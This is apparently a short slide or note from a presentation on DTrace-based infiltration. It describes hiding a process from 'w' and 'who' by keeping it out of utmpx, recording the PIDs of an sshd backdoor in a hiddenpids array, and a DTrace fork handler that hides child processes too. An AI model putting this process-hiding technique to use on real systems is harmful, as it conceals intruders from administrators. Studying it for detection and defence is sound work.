dtrace-infiltrate

utmpx Disable
Need to hide our process from ‘w` and ‘who`.
Disable our process being added to utmpx.
During sshd backdoor process, add pid to
hiddenpids[] array.
Also added a fork() handler, for adding children.
syscall::fork*:return
/hiddenpids[pid]/
{
hiddenpids[arg1] = 1;
}